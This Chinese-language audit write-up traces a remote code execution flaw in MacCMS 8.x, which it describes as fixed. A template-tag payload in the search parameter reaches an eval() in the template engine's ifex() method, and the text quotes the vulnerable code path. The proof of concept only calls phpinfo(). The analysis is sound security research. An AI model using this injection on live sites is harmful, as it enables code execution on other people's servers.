审计对象:苹果cms8.x(现以修复)
苹果cms官网:http://www.maccms.com/
参考文章:http://www.cnblogs.com/test404/p/7397755.html
payload:http://192.168.2.119/index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}
漏洞发生在/inc/common/template.php
文件类方法ifex()中的eval语句,这个方法中有多个eval执行语句,我们选取限制条件最宽松的一个进行利用,即最后一处(912行处):
1 2 3 4 5 6
| else{ @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}"); if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); } }
|
这里的$strif
变量就是我们可以控制的,命令执行也发生在此处,下面,我们根据payload来正向查看程序执行流程。
先看index.php页面。文章开头包含了inc/conn.php
文件,而inc/conn.php
文件又包含了/inc/common/template.php
文件,这个文件会新建一个模板对象,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class AppTpl { var $markname,$markpar,$markdes,$markval,$markhtml; function AppTpl() { $this->P = array("vodtypeid"=>-1,"vodtypepid"=>-1,"vodtopicid"=>-1,"arttypeid"=>-1,"arttypepid"=>-1,"arttopicid"=>-1,"auto"=>false,"pg"=>1); } ...... $tpl = new AppTpl(); ?>
|
继续看index.php,$m = be('get','m');
be函数在/inc/common/function.php
中定义,主要作用是对用户的请求数据进行消毒,防止sql注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ...... require("inc/conn.php"); require(MAC_ROOT.'/inc/common/360_safe3.php'); $m = be('get','m'); if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); } $par = explode('-',$m); $parlen = count($par); $ac = $par[0]; ...... $acs = array('vod','art','map','user','gbook','comment','label'); if(in_array($ac,$acs)){ $tpl->P["module"] = $ac; include MAC_ROOT.'/inc/module/'.$ac.'.php'; }
|
根据代码以及payload:index.php?m=vod-search
可知,等下会包含'/inc/module/vod.php'
文件,并且$method=search
,我们来详细看一下'/inc/module/vod.php'
文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| ...... elseif($method=='search') { $tpl->P["siteaid"] = 15; $wd = be("all", "wd"); if(!empty($wd)){ $tpl->P["wd"] = $wd; } if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){ showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH); exit; } ...... $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html"); $tpl->mark(); $tpl->pageshow(); $colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}'); $valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid'] ); $tpl->H = str_replace($colarr, $valarr ,$tpl->H); ......
|
也就是说$tpl->P["wd"]
等于'{if-A:phpinfo()}{endif-A}';
,而且$tpl->H
等于/template/paody/html/vod_search.html
中的内容,$tpl->H
的内容还做了替换,所有形式如:{xxx:xxx}
会被替换成{if-A:phpinfo()}{endif-A}
,这里是关键 。继续看index.php页面:
1 2 3 4 5 6 7 8
| ...... include MAC_ROOT.'/inc/module/'.$ac.'.php'; ...... $tpl->ifex(); if(!empty($tpl->P['cp'])){ setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); } $tpl->run(); echo $tpl->H;
|
这里调用到了ifex()方法,也就是漏洞发生的关键之处。来看看/inc/common/template.php
文件中的ifex()方法。开头的$this->H
在/inc/module/vod.php
文件中已经定义。$labelRule
等于/{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}/is
,然后在$this->H
中用这个pattern匹配,结果是一个二维数组,存储在$iar
中。而payload中的phpinfo()将存储在$iar[2]
中,preg_match_all()具体用法使用方法点这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| function ifex() { if (!strpos(",".$this->H,"{if-")) { return; } $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is"); preg_match_all($labelRule,$this->H,$iar); $arlen=count($iar[2]); for($m=0;$m<$arlen;$m++){ $strn = $iar[1][$m]; $strif= asp2phpif( $iar[2][$m] ) ; $strThen= $iar[3][$m]; $elseifFlag=false; $labelRule2="{elseif-".$strn.""; $labelRule3="{else-".$strn."}"; if (strpos(",".$strThen,$labelRule2)>0){ ...... } else{ $ifFlag = false; if (strpos(",".$strThen,$labelRule3)>0){ ...... } else{ @eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}"); ..... }
|
相关文章: